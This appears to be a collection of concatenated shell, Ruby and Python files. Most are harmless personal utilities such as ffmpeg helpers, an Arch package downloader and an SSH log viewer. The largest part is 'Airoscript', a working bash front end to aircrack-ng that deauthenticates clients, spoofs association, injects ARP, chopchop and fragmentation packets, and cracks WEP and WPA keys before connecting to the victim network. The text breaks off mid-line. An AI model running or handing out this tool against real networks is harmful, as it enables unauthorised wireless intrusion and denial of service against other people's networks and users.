1 if flags[6]=="1": addnl_text,next_loc = add_info(f,next_loc) output += "Icon filename: "+str(addnl_text) + "\n" return output def usage(): print "Usage: ./pylnker.py .LNK_FILE" sys.exit(1) if __name__ == "__main__": if len(sys.argv) != 2: usage() # parse .lnk file filename = sys.argv[1] print "Opening", filename out = parse_lnk(filename) print "out: ",out <file_sep>#!/usr/bin/env ruby require 'epitools' terminal_names = ["xfce4-terminal", "termite"] terms = WM.current_desktop.windows.select { |w| terminal_names.any? { |t| w.command&.split&.first&.[](t) } } if terms.any? term = terms.first term.activate! system("xdotool", "key", "ctrl+shift+t") # term.send_keys("<Ctrl-Shift-T>") # system("xdotool", "windowactivate", "--sync", term.window_id) # system("xdotool", "key", "--window", term.window_id, "ctrl+shift+t") # system("xdotool", "key", "ctrl+shift+t") # system("xdotool", "type", "--window", term.window_id, "hello there!") else fork { exec("term") } end <file_sep>#!/usr/bin/env ruby require 'epitools' def audio_format(path) output = run_with_stderr("ffprobe", path).each_line do |line| p line if line =~ /Stream \S+: Audio: (\w+)/ return $1 end end nil end inputs = ARGV.map { |arg| Path.new(arg) } unless inputs.size > 0 puts "usage: ffmpeg-dump-video <video-filename(s)>" exit end inputs.each do |infile| unless infile.exists? or infile.path[/^http/i] puts "Error: #{infile} not found." exit 1 end outfile = infile.with(filename: "#{infile.basename}-video.mp4") puts "--------------------------------------------------------------------------" puts "Extracting video:" puts " in: #{infile}" puts " out: #{outfile}" puts "--------------------------------------------------------------------------" puts system("ffmpeg", "-hide_banner", "-i", infile, "-an", "-vcodec", "copy", outfile) end <file_sep>#!/usr/bin/env ruby ##################################################################### require 'epitools' ##################################################################### Package = Struct.new(:root, :file, :desc, :date, :size) class Package include Comparable ARM_ROOT="https://archive.archlinux.org/packages/" # Alternate source: https://archive.org/download/archlinux_pkg_#{name} attr_reader :name, :ver, :rev, :arch, :sig def initialize(*args) super parse_filename! end def self.pkg_root_url(name) URI.parse("#{ARM_ROOT}#{name[0]}/#{name}/") end def self.versions(name) root = pkg_root_url(name) data = curl(root) pkgs = data.each_line.map do |l| ((file, desc, datesize)) = l.chomp.scan(%r{<a href="(.+)">([^<]+)</a>(.+)}) next unless file and desc and datesize and !file[/^\.\./] next if file[/\.sig$/] date, time, size = datesize.strip.split(/\s+/) Package.new(root, file, desc, DateTime.parse("#{date} #{time}"), size) end.compact end def self.versions_for_arch(name, arch="x86_64") versions(name).select { |pkg| pkg.arch == arch or pkg.arch == "any"}.sort end def url URI.join(root, file) end def parse_filename! if file =~ /(.+)-([a-z\d\.]+)-(\d)-(\w+)\.pkg\.tar\.\w{2,5}$/i @name, @ver, @rev, @arch = $1, $2, $3, $4 end end def to_s "<11>#{name} <15>#{ver}<8>-<7>#{rev}<8> <12>#{arch} <8>=> <13>#{size} <8>(<9>#{date.strftime("%Y-%m-%d")}<8>)" end def <=>(other) date <=> other.date end end def pick(items) choices = (1..items.size).zip(items.reverse).reverse max_item_size = items.size.to_s.size puts choices.each do |n, item| puts "<14>#{n.to_s.rjust(max_item_size)}<7>. #{item}".colorize end puts input = nil loop do print "Pick package> " begin input = $stdin.gets rescue Interrupt puts "Nevermind!" exit 1 end unless input puts "Fine, be that way!" exit 1 end input = input.to_i unless input > 0 and input <= choices.size puts "Invalid choice!" next end break end choices.find {|n, item| n == input }.last end ##################################################################### DOWNLOADERS = [ %w[http --download], %w[curl -O --xattr], %w[wget] ] def download(url) puts "<8>* <15>Downloading <11>#{url}".colorize puts DOWNLOADERS.each do |cmd| if path = Path.which(cmd.first) return system(*cmd, url) end end puts "No program to download stuff was found! Please install curl, httpie, or wget." end ##################################################################### opts, args = ARGV.partition { |arg| arg[/^-\w/] } n_vers = 100 pkg = args.first if args.size != 1 scriptname = Path[__FILE__].filename puts puts "Download an old arch package using the Arch Rollback Machine!" puts puts "Usage: #{scriptname} <packagename>" puts else puts "<8>* <7>Finding the last <15>#{n_vers}</15> versions of <11>#{pkg}</11>...".colorize begin versions = Package.versions_for_arch(pkg) version = pick(versions.last(n_vers)) download(version.url) rescue OpenURI::HTTPError => e puts "<12>Error: <15>#{pkg} <14>not found in the Arch Rollback Machine".colorize puts end end ##################################################################### <file_sep>#!/usr/bin/env python import pyfiglet import os import sys import subprocess less = subprocess.Popen( ['less', '-R', '--quit-if-one-screen'], stdin=subprocess.PIPE) os.dup2(less.stdin.fileno(), sys.stdout.fileno()) for font in sorted(pyfiglet.FigletFont.getFonts()): print(font) pyfiglet.print_figlet(font, font=font) print() os.close(sys.stdout.fileno()) less.communicate() <file_sep>#!/usr/bin/env ruby gem 'charlock_holmes' require 'charlock_holmes' args = ARGV if args.empty? puts "usage: guess-encoding <files...>" exit 1 end args.each do |arg| begin if File.directory? arg puts "Error: #{arg} is a directory" else data = File.read(arg) encoding = CharlockHolmes::EncodingDetector.detect(data)[:encoding] puts "#{arg}: #{encoding}" end rescue => e puts "#{arg}: #{e.inspect}" end end<file_sep>#!/usr/bin/env ruby require 'epitools/colored' require 'open-uri' require 'oga' require 'ostruct' URL_ROOT = "https://luarocks.org" SEARCH_URL = "#{URL_ROOT}/search?q=%s" def search(query) # html = open(SEARCH_URL % query, &:read) # html = File.read("rocks.html") doc = Oga.parse_html(open(SEARCH_URL % query)) doc.css("li.module_row]").map do |row| a = row.at_css("a.title") OpenStruct.new( name: a.text, url: "#{URL_ROOT}#{a["href"]}", downloads: row.at_css(".downloads .value").text.to_i, description: row.at_css(".summary").text, author: row.at_css(".author a").text, ) end end if ARGV.empty? puts "usage: rocksearch <query>" exit 1 end query = ARGV.join(" ") puts "<8>* <7>Searching for <15>#{query}<7>...".colorize results = search(query) results.sort_by! &:downloads puts results.each do |r| puts "<11>#{r.name} <8>(<7>by <5>#{r.author}, <2>#{r.downloads} <7>downloads<8>)".colorize puts " <9>#{r.description}".colorize puts " <8>#{r.url}".colorize end <file_sep>#!/bin/bash compile='import py_compile, sys; py_compile.compile(sys.argv[1])' if [ "$1" == "-r" ] then find . -type f -name '*.py' | xargs -n 1 python -c "$compile" else for i in $* do python -c "$compile" $i done fi <file_sep>#!/usr/bin/env ruby unless Process.uid == 0 system("sudo", __FILE__) exit end require 'epitools' class Path def zopen Object.send(:zopen, self) end end # May 29 09:51:34 fizz sshd[17892]: Did not receive identification string from 172.16.58.3 # Jun 4 04:13:29 Accepted password for epi from ::1 port 32946 ssh2 # Jun 4 02:34:36 Failed password for root from 172.16.58.3 port 57037 ssh2 lesspipe do |less| Path["/var/log/{auth.log*}"].sort_by(&:mtime).reverse.each do |path| last_day = nil path.zopen.reverse_each do |line| if line =~ /^((.+\s+){3})(.+) sshd\[(.+)\]: (.+)$/ date = $1.strip pid = $4 message = $5 if message =~ /(.+) (password|publickey) for (invalid user )?(.+) from (.+) port (.+) (ssh.+)$/ result = $1 authtype = $2 invalid = $3 user = $4 ip = $5 port = $6 proto = $7 ## date line month, day, time = date.split day = [month, day].join(' ') if last_day != day last_day = day less.puts less.puts "<light_cyan>--- <light_white>#{day} <light_cyan>#{"-"*50}".colorize end ## the line case result when "Accepted" color = "light_green" when "Failed" color = "light_red" end #thing = "<grey>[<white>#{date}<grey>] " thing = "<grey>|<cyan>#{time}<grey>| " if invalid thing << "<grey>#{user} " else thing << "<#{color}>#{user} " end thing << "<#{color}>#{result.downcase} " thing << "<grey>(<light_blue>#{ip}</light_blue>)" thing << " <light_red>SSH1" if proto == "ssh1" thing << " <light_yellow>8=m" if authtype == "publickey" less.puts thing.colorize end end end end end <file_sep>#!/usr/bin/env ruby require 'epitools/wm' require 'epitools/clitools' queries = ARGV.map { |arg| /#{arg}/i } wins = WM.windows.select do |win| queries.all? { |q| win.name =~ q || win.process&.command =~ q } end case wins.size when 0 notify_send "No windows found" # when 1 else wins.each {|w| p w; w.activate! } # notify_send "Found too many windows" end <file_sep>#!/usr/bin/env ruby require 'epitools' acceptable = [ "Too many packets buffered for output stream", "Application provided invalid, non monotonically increasing dts to muxer", "packet fragment position invalid", "Last message repeated", ] puts "* Testing files..." errored = [] for arg in ARGV unless File.file?(arg) puts " |_ #{arg}: <11>not a file".colorize next end unless IO.popen(["file", "-ib", arg], &:read)[%r{^video/}] puts " |_ #{arg}: is <11>not a video".colorize next end cmd = ["ffmpeg", "-v", "error", "-i", arg, "-f", "null", "-"] print " <8>|_ <15>#{arg}<8>: ".colorize output = IO.popen(cmd, err: [:child, :out]) { |io| io.read } if output.empty? puts "OK".light_green else lines = output.each_line.reject { |line| acceptable.any? { |str| line[str] } } if lines.any? puts "ERRORS!".light_red errored << arg else puts "some glitches... consider re-muxing".light_yellow end puts output.grey.indent(" ") end end puts puts "----------------------------------------------------".grey puts " <14>#{errored.size} <7>files with errors:".colorize puts "----------------------------------------------------".grey puts errored.each { |f| puts "<8>* <15>#{f}".colorize } puts if prompt("Trash them??".light_cyan, "yN") == "y" system("trsh", *errored) puts "Trashed!".light_red else puts "no trashing!" end <file_sep>#!/bin/bash # Program: Airoscript # Authors: Base Code by Daouid; Mods & Tweaks by CurioCT and others # Credits: Hirte, Befa, Stouf, Mister_X, ASPj , Andrea, Pilotsnipes and darkAudax # Date: 21.01.2007 # Version: BETA-1 2.0.7 TESTING RELEASE FOR AIRCRACK-NG 0.7 # # Dependencies: aircrack-ng,xterm,grep,awk,drivers capable of injection # # To change color theme just do a search and replace # # Colors: #Dumping White #FFFFFF # #Injection Green #1DFF00 # #Association Red #FF0009 # #Deauth Blue #99CCFF # #Background Black #000000 # # Notes: Important ===>>> Set variable DEBUG to 1 to enable debugging of errors <<<=== # WELCOME="0" DEBUG="0" #This is the interface you want to use to perform the attack #If you dont set this, airoscript will ask you for interface to use WIFI="eth1" #This is the rate per second at wich packets will be injected INJECTRATE="1024" #How many times the deauth attack is run DEAUTHTIME="4" #Time between re-association with target AP AUTHDELAY="45" #Fudge factor setting FUDGEFACTOR="2" #Path to binaries AIRMON="airmon-ng" AIRODUMP="airodump-ng" AIREPLAY="aireplay-ng" AIRCRACK="aircrack-ng" ARPFORGE="packetforge-ng" #The path where the data is stored (FOLDER MUST EXIST !) DUMP_PATH="/root/wifidump" # Path to your wordlist file (for WPA dictionnary attack, maybe for WEP in next release to) WORDLIST="/tmp/english.txt" #The Mac address used to associate with AP during fakeauth FAKE_MAC="00:01:02:03:04:05" # IP of the access to be used for CHOPCHOP and Fragmentation attack Host_IP="192.168.1.1" FRAG_HOST_IP="255.255.255.255" # same for client Client_IP="192.168.1.37" FRAG_CLIENT_IP="255.255.255.255" # leave this alone (if you edit this, it will screw up the menu) CHOICES="1 2 3 4 5 6 7 8 9 10 11 12 13 14 15" #This is the window size and layout settings # Upper left window +0+0 (size*size+position+position) TOPLEFT="-geometry 96x25+0+0" # Upper right window -0+0 TOPRIGHT="-geometry 70x25-0+0" # Bottom left window +0-0 BOTTOMLEFT="-geometry 96x25+0-0" # Bottom right window -0-0 BOTTOMRIGHT="-geometry 70x25-0-0" TOPLEFTBIG="-geometry 96x60+0+0" TOPRIGHTBIG="-geometry 70x60-0+0" ################################################################################## # # Functions: these are all the commands used by the script # # starts monitor mode on selected interface function monitor_interface { IS_MONITOR=`$AIRMON start $WIFI |grep monitor` clear echo $IS_MONITOR } # this sets wifi interface if not hard coded in the script function setinterface { INTERFACES=`iwconfig | grep ESSID | awk '{ print $1 }'| grep -v lo | grep -v inet*` clear if [ $WIFI = ] then echo "Choose wich network interface you would like to use:" echo " " select WIFI in $INTERFACES; do break; done clear echo "Interface to use is now set to: $WIFI" else clear fi } # this function allows debugging of xterm commands function debug { clear if [ $DEBUG = 1 ] then echo "Debug Mode On" echo " " HOLD="-hold" clear else HOLD="" clear fi } # This is another great contribution from CurioCT that allows you to manually enter SSID if none is set function blankssid { while true; do clear echo "" echo "A blank SSID has been detected, would you like to manually enter an SSID?" echo "" echo "1) Yes " echo "2) No " read yn echo "" case $yn in 1 ) Host_ssidinput ; break ;; 2 ) Host_SSID="" ; break ;; * ) echo "unknown response. Try again" ;; esac done } # This is the input part of previous function function Host_ssidinput { echo -n "OK, now type in the ESSID ==> " read Host_SSID echo You typed $Host_SSID set -- ${Host_SSID} clear } # This is the function to select Target from a list function Parseforap { ## MAJOR CREDITS TO: Befa , MY MASTER, I have an ALTAR dedicated to him in my living room ## And HIRTE for making all those great patch and fixing the SSID issue ap_array=`cat $DUMP_PATH/dump-01.txt | grep -a -n Station | awk -F : '{print $1}'` head -n $ap_array $DUMP_PATH/dump-01.txt &> $DUMP_PATH/dump-02.txt clear echo "" echo " Here are the access point detected during step 1" echo "" echo " # MAC CHAN SECU POWER #CHAR SSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} if [ $longueur -ge 17 ]; then i=$(($i+1)) echo -e " "$i")\t"$MAC"\t"$CHANNEL"\t"$PRIVACY"\t"$POWER"\t"$IDLENGTH"\t"$ESSID aidlenght=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY fi done < $DUMP_PATH/dump-02.txt echo "" echo " Please enter desired Access Point's Number" echo "" read choice idlenght=${aidlenght[$choice]} ssid=${assid[$choice]} channel=${achannel[$choice]} mac=${amac[$choice]} privacy=${aprivacy[$choice]} Host_IDL=$idlength Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} } # This is a simple function to ask what type of scan you want to run function choosescan { while true; do clear echo "Airodump will now be launched, hit ctrl+c when target(s) is found" echo "" echo "Do you want to scan on multiple channels or on a specific channel?" echo "" echo "1) Channel Hopping " echo "2) Specific channel(s) ex: 11 or 1,5-7,9,11-13 or 1,6,11 or 1-6 " read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; * ) echo "unknown response. Try again" ;; esac done } # This function ask after an AP selection for a client sel function choosetarget { while true; do clear echo "" echo "Do you want to select a client now ?" echo "" echo "1) Yes " echo "2) No " echo "3) Try to detect associated client" echo "4) Correct a bad SSID" echo "5) Jump to associated client list" read yn echo "" case $yn in 1 ) askclientsel ; break ;; 2 ) break ;; 3 ) clientdetect && clientfound ; break ;; 4 ) Host_ssidinput && choosetarget ; break ;; 5 ) listsel2 ; break ;; * ) echo "unknown response. Try again" ;; esac done } # this ask if the client scan was successfull function clientfound { while true; do clear echo "" echo "Did you find desired client?" echo "" echo "1) Yes " echo "2) No " read yn echo "" case $yn in 1 ) listsel3 ; break ;; 2 ) break ;; * ) echo "unknown response. Try again" ;; esac done } # deauth type sel function choosedeauth { while true; do clear echo "" echo "What kind of deauth do you want to do ?" echo "" echo "1) Everybody " echo "2) Myself " echo "3) Selected Client" read yn echo "" case $yn in 1 ) deauthall ; break ;; 2 ) deauthfake ; break ;; 3 ) deauthclient ; break ;; * ) echo "unknown response. Try again" ;; esac done } # this function ask for attack type function attackwep { while true; do clear echo "WEP ATTACK MODE" echo "" echo "Which attack would you like to perform?" echo "" echo "1) Fake association => Automatic" echo "2) Fake association => Interactive" echo "3) Using a client => Automatic" echo "4) Using a client => Interactive" echo "5) Fragmentation attack" echo "6) Chopchop attack" echo "7) Chopchop attack using a client" echo "8) Solo interactive attack (attempt to jump start stalled injections)" echo "9) Chopchop attack injection part of the attack" echo "10) Chopchop attack using a client injection part of the attack" read yn echo "" case $yn in 1 ) attack ; break ;; 2 ) fakeinteractiveattack ; break ;; 3 ) attackclient ; break ;; 4 ) interactiveattack ; break ;; 5 ) fragmentationattack ; break ;; 6 ) chopchopattack ; break ;; 7 ) chopchopattackclient ; break ;; 8 ) solointeractiveattack ; break ;; 9 ) chopchopend ; break ;; 10 ) chopchopclientend ; break ;; * ) echo "unknown response. Try again" ;; esac done } # this function ask for attack type function attackopn { while true; do clear echo "OPEN ATTACK MODE" echo "" echo "Which attack would you like to perform?" echo "" echo "1) Deauth => Everybody" echo "2) Deauth => Client" read yn echo "" case $yn in 1 ) deauthall ; break ;; 2 ) deauthclient ; break ;; * ) echo "unknown response. Try again" ;; esac done } # client origin function askclientsel { while true; do clear echo "" echo "Do you want to select the client from a list or enter MAC address manually ?" echo "" echo "1) Detected clients " echo "2) Manual Input " echo "3) Jump to associated client list " read yn echo "" case $yn in 1 ) asklistsel ; break ;; 2 ) clientinput ; break ;; 3 ) listsel2 ; break ;; * ) echo "unknown response. Try again" ;; esac done } # manual client input function clientinput { echo -n "OK, now type in your client MAC: " read Client_MAC echo You typed: $Client_MAC set -- ${Client_MAC} } # associated client or all clients ? function asklistsel { while true; do clear echo "" echo "Do you want to select the client from full list or associated clients only ?" echo "" echo "1) Only associated clients (Client connected to this SSID : $Host_SSID)" echo "2) Full list (All MAC detected, even Host are listed)" if [ "$Host_SSID" = $'\r' ] then Host_SSID="No SSID has been detected!" fi echo read yn case $yn in 1 ) listsel2 ; break ;; 2 ) listsel1 ; break ;; * ) echo "unknown response. Try again" ;; esac done } # sel client from list function listsel1 { HOST=`cat $DUMP_PATH/dump-01.txt | grep -a "0.:..:..:..:.." | awk '{ print $1 }'| grep -a -v 00:00:00:00` clear echo "Select wich client you want to use for ARP replay" echo "" select CLIENT in $HOST; do export Client_MAC=` echo $CLIENT | awk '{ split($1, info, "," ) print info[1] }' ` break; done } # sel client from list, shows only associated clients function listsel2 { HOST=`cat $DUMP_PATH/dump-01.txt | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -a -v $Host_MAC` clear echo "Select which client you want to use for ARP replay" echo "" echo "The client(s) listed bellow is(are) connected to ==> "$Host_SSID echo "" select CLIENT in $HOST; do export Client_MAC=` echo $CLIENT | awk '{ split($1, info, "," ) print info[1] }' ` break; done } # sel client from list, shows only associated clients function listsel3 { HOST=`cat $DUMP_PATH/$Host_MAC-01.txt | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -a -v $Host_MAC` clear echo "Select which client you want to use for ARP replay" echo "" echo "The client(s) listed bellow is(are) connected to ==> "$Host_SSID echo "" select CLIENT in $HOST; do export Client_MAC=` echo $CLIENT | awk '{ split($1, info, "," ) print info[1] }' ` break; done } # reset and killall commands , + ejection/interruption of interface function cleanup { killall -9 aireplay-ng airodump-ng > /dev/null & ifconfig $WIFI down cardctl eject sleep 2 cardctl insert ifconfig $WIFI up $AIRMON start $WIFI $Host_CHAN iwconfig $WIFI } # menu listing command function menu { echo "" echo "1. Scan ==> Launch a Scan to find targets" echo "2. Select ==> Select desired target: Host and Client" echo "3. Attack ==> Launch attack" echo "4. Crack ==> Starts searching for key with aircrack" echo "5. Configure ==> Configure PC to connect using key found and DHCP" echo "6. Associate ==> Try to associate to AP using a FAKE MAC" echo "7. Deauth ==> Disconnect desired station(s) from target" echo "8. Reset ==> Kills all airo-threads and reset card(pcmcia socket)" echo "9. Monitor ==> Enable monitor mode using airmon-ng" echo "10. Quit " echo "11. AUTO ==> step 1,2,3 linked" echo "" echo "" } # target listing function target { clear echo "Access Point SSID ==> "$Host_SSID echo "Access Point MAC ==> "$Host_MAC echo "Access Point Channel ==> "$Host_CHAN echo "Selected client ==> "$Client_MAC echo "Access Point Security ==> "$Host_ENC } # interface configuration using found key (tweaks by CurioCT) function configure { $AIRCRACK -a 1 -b $Host_MAC -f $FUDGEFACTOR -0 $DUMP_PATH/$Host_MAC-01.cap &> $DUMP_PATH/$Host_MAC.key KEY=`cat $DUMP_PATH/$Host_MAC.key | grep -a KEY | awk '{ print $4 }'` echo "Using this key $KEY to connect to: $Host_SSID" echo "" echo "Setting: iwconfig $WIFI mode Managed" ifconfig $WIFI down sleep 3 ifconfig $WIFI up sleep 2 iwconfig $WIFI mode Managed ap any rate auto channel $Host_CHAN essid "$Host_SSID" key restricted $KEY sleep 1 echo "Setting: iwconfig $WIFI essid $Host_SSID" iwconfig $WIFI essid "$Host_SSID" echo "Setting: iwconfig $WIFI key $KEY" iwconfig $WIFI key restricted $KEY echo "Setting: dhcpcd $WIFI" sleep 1 iwconfig $WIFI rate auto iwconfig $WIFI ap any sleep 3 iwconfig $WIFI ap any rate auto mode Managed channel $Host_CHAN essid "$Host_SSID" key restricted $KEY sleep 3 dhcpcd $WIFI echo "Will now ping google.com" ping www.google.com } function wpaconfigure { $AIRCRACK -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $WORDLIST &> $DUMP_PATH/$Host_MAC.key KEY=`cat $DUMP_PATH/$Host_MAC.key | grep -a KEY | awk '{ print $4 }'` echo "Using this key $KEY to connect to: $Host_SSID" echo "" echo "Setting: iwconfig $WIFI mode Managed" ifconfig $WIFI down sleep 3 ifconfig $WIFI up sleep 2 iwconfig $WIFI mode Managed ap any rate auto channel $Host_CHAN essid "$Host_SSID" key restricted $KEY sleep 1 echo "Setting: iwconfig $WIFI essid $Host_SSID" iwconfig $WIFI essid "$Host_SSID" echo "Setting: iwconfig $WIFI key $KEY" iwconfig $WIFI key restricted $KEY echo "Setting: dhcpcd $WIFI" sleep 1 iwconfig $WIFI rate auto iwconfig $WIFI ap any sleep 3 iwconfig $WIFI ap any rate auto mode Managed channel $Host_CHAN essid "$Host_SSID" key restricted $KEY sleep 3 dhcpcd $WIFI echo "Will now ping google.com" ping www.google.com } ################################################################################## # # Attack functions function witchcrack { if [ $Host_ENC = "WEP" ] then echo "Will launch aircrack-ng searching for WEP KEY" crack elif [ $Host_ENC = "WPA" ] then echo "Will launch aircrack-ng searching for WPA KEY" wpacrack else echo "unknown encryption type" fi } function witchattack { if [ $Host_ENC = "WEP" ] then echo "Will launch aircrack-ng searching for WEP KEY" attackwep elif [ $Host_ENC = "WPA" ] then echo "Will launch aircrack-ng searching for WPA KEY" wpahandshake else echo "unknown encryption type" attackopn fi } function witchconfigure { if [ $Host_ENC = "WEP" ] then echo "Will configure interface using WEP KEY" configure elif [ $Host_ENC = "WPA" ] then echo "Will configure interface using WPA KEY" wpaconfigure else echo "unknown encryption type" fi } # aircrack command function crack { xterm $HOLD $TOPRIGHT -title "Aircracking: $Host_SSID" -hold -e $AIRCRACK -a 1 -b $Host_MAC -f $FUDGEFACTOR -0 -s $DUMP_PATH/$Host_MAC-01.cap } # WPA attack function function wpahandshake { clear rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel: $Host_CHAN" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e $AIRODUMP -w $DUMP_PATH/$Host_MAC --channel $Host_CHAN $WIFI & deauthclient } function wpacrack { xterm $HOLD $TOPRIGHT -title "Aircracking: $Host_SSID" -hold -e $AIRCRACK -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $WORDLIST } function Scan { clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "Scanning for targets" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e $AIRODUMP -w $DUMP_PATH/dump $WIFI } # This scan for targets on a specific channel function Scanchan { echo -n "On which channel would you like to scan ? ==> " read channel_number echo You typed: $channel_number set -- ${channel_number} clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "Scanning for targets on channel $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e $AIRODUMP -w $DUMP_PATH/dump --channel "$channel_number" $WIFI } function capture { clear rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel: $Host_CHAN" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e $AIRODUMP --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN $WIFI } function deauthall { xterm $HOLD $TOPRIGHT -bg "#000000" -fg "#99CCFF" -title "Kicking everybody from: $Host_SSID" -e $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC $WIFI } function deauthclient { xterm $HOLD $TOPRIGHT -bg "#000000" -fg "#99CCFF" -title "Kicking $Client_MAC from: $Host_SSID" -e $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $Client_MAC $WIFI } function deauthfake { xterm $HOLD $TOPRIGHT -bg "#000000" -fg "#99CCFF" -title "Kicking $FAKE_MAC from: $Host_SSID" -e $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $WIFI } function fakeauth { xterm $HOLD -title "Associating with: $Host_SSID " $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -e $AIREPLAY --fakeauth $AUTHDELAY -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $WIFI } # This is a set of command to manually kick all clients from selected AP to discover them function clientdetect { capture & deauthall } # attack against client when a previous attack has stalled function solointeractiveattack { xterm $HOLD -title "Interactive Packet Sel on: $Host_SSID" $BOTTOMLEFT -bg "#000000" -fg "#1DFF00" -e $AIREPLAY $WIFI --interactive -b $Host_MAC -d FF:FF:FF:FF:FF:FF -x $INJECTRATE & deauthclient } # fake attack function function attack { capture & xterm $HOLD -title "Injection: Host: $Host_MAC" $BOTTOMLEFT -bg "#000000" -fg "#1DFF00" -e $AIREPLAY $WIFI --arpreplay -b $Host_MAC -h $FAKE_MAC -x $INJECTRATE & fakeauth & deauthfake } # client type attack function function attackclient { capture & xterm $HOLD -title "Injection: Host : $Host_MAC CLient : $Client_MAC" $BOTTOMLEFT -bg "#000000" -fg "#1DFF00" -e $AIREPLAY $WIFI --arpreplay -b $Host_MAC -h $Client_MAC -x $INJECTRATE & deauthclient } # interactive attack with client function interactiveattack { capture & xterm $HOLD -title "Interactive Packet Sel on: $Host_SSID" $BOTTOMLEFT -bg "#000000" -fg "#1DFF00" -e $AIREPLAY $WIFI --interactive -b $Host_MAC -d FF:FF:FF:FF:FF:FF -x $INJECTRATE -t 1 -f 0 -m 68 -n 68 & deauthclient } # interactive attack with fake mac function fakeinteractiveattack { capture & xterm $HOLD -title "Interactive Packet Sel on Host: $Host_SSID" $BOTTOMLEFT -bg "#000000" -fg "#1DFF00" -e $AIREPLAY $WIFI --interactive -b $Host_MAC -d FF:FF:FF:FF:FF:FF -x $INJECTRATE -t 1 -f 0 -m 68 -n 68 & fakeauth & deauthfake } # Unstable allround function function airomatic { choosescan Parseforap choosetarget attacktype #sleep 60 #crack & configure } # Experimental features function chopchopattack { clear rm -rf $DUMP_PATH/$Host_MAC* capture & fakeauth & xterm $HOLD -title "ChopChop'ing: $Host_SSID" $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -e $AIREPLAY --chopchop -b $Host_MAC $WIFI } function chopchopattackclient { clear rm -rf $DUMP_PATH/$Host_MAC* capture & xterm $HOLD -title "ChopChop'ing: $Host_SSID" $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -e $AIREPLAY --chopchop -h $Client_MAC $WIFI & deauthclient } function chopchopend { rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $FAKE_MAC -k $Client_IP -l $Host_IP -w $DUMP_PATH/chopchop_$Host_MAC.cap -y *.xor capture & xterm $HOLD $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "Sending chopchop to: $Host_SSID" -e $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap $WIFI } function chopchopclientend { rm -rf $DUMP_PATH/chopchop_$Host_MAC* $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -w $DUMP_PATH/chopchop_$Host_MAC.cap -y *.xor capture & xterm $HOLD $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "Sending chopchop to: $Host_SSID" -e $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap $WIFI } function fragmentationattack { rm -rf $DUMP_PATH/fragment-*.xor rm -rf $DUMP_PATH/$Host_MAC* killall -9 airodump-ng aireplay-ng # iwconfig $WIFI rate 1M channel $Host_CHAN mode monitor deauthclient & xterm $HOLD $BOTTOMLEFT -bg "#000000" -fg "#1DFF00" -title "Fragmentation attack on $Host_SSID" -e $AIREPLAY -5 -b $Host_MAC -h $Client_MAC -k $FRAG_CLIENT_IP -l $FRAG_HOST_IP $WIFI & capture $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap capture & xterm $HOLD $BOTTOMLEFT -bg "#000000" -fg "#1DFF00" -title "Injecting forged packet on $Host_SSID" -e $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -x $INJECTRATE $WIFI & menufonction } function menufonction { xterm $HOLD $TOPRIGHT -title "Fake function to jump to menu" -e echo "Aircrack-ng is a great tool, Mister_X ASPj HIRTE are GODS" } function greetings { if [ $WELCOME = 1 ] then echo "Welcome to Airoscript" echo "" echo "Airoscript is an educational tool designed to " echo "encourage shell scripting and WIFI security learning" echo "" echo "Before you continue make sure you have set proper settings" echo "Open this script in a text editor and configure variables" echo "" echo "First you need to make sure you have a working folder for Airoscript" echo "Airoscript needs a real folder to work into" echo "" echo "Than you could set your interface and check binaries path" echo "If you encounter errors please set the variable DEBUG to 1" echo "This will allow you to see errors messages in xterm" echo "" echo "This message will disappear in a few seconds" sleep 15 else echo "no welcome msg for you" fi } ################################################################################## # # Main Section this is the "menu" part, where all the functions are called # # clear greetings setinterface debug menu select choix in $CHOICES; do if [ "$choix" = "1" ]; then choosescan clear menu echo "Airodump closed, now use option 2 to select target" echo " " elif [ "$choix" = "2" ]; then Parseforap clear choosetarget if [ "$Host_SSID" = $'\r' ] then blankssid; target menu elif [ "$Host_SSID" = "No SSID has been detected!" ] then blankssid; target menu else target echo " " menu fi elif [ "$choix" = "3" ]; then witchattack clear echo "Attack starting with variables set to :" target sleep 2; menu elif [ "$choix" = "4" ]; then echo "launching aircrack, if aircrack shell closes quickly, try again with more IVs" witchcrack menu elif [ "$choix" = 